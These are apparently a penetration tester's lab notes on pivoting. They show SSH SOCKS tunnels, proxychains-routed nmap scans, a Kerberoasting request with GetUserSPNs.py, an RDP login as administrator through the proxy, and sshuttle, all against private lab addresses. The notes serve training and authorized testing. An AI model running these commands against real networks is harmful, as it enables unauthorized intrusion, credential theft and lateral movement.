Pivoting

ssh -i pivot root@192.168.218.139

Proxy

ProxyChains:

cat /etc/proxychains4.conf

Check at the bottom for sock ip and port (this example is 9050)

ssh -f -N -D 9050 -i pivot root@192.168.218.139

-f backgrounds the SSH

-N we do not want to execute remote commands (great for forwarding ports)

-D bind on port

proxychains nmap -p88 10.10.10.255 #checks kerberos
proxychains nmap 10.10.10.225

2nd will check for open ports on that IP. Ones with “OK” will be open.

Sometimes the scan doesn’t work, you can:

proxychains nmap 10.10.10.225 -sT

-sT is a tcp connect scan

You can run attacks thru proxychains:

proxychains GetUserSPNs.py MARVEL.local/fcastle:Password1 -dc-ip 10.10.10.225 -request

Access a machine thru RDP on proxychains:

proxychains xfreerdp /u:administrator /p:'Hacker321!' /v:10.10.10.225

sshuttle:

sshuttle -r root@10.10.155.5 10.10.10.0/24 --ssh-cmd "ssh -i pivot"

Can directly nmap and stuff as long as this terminal is open

Chisel is also good
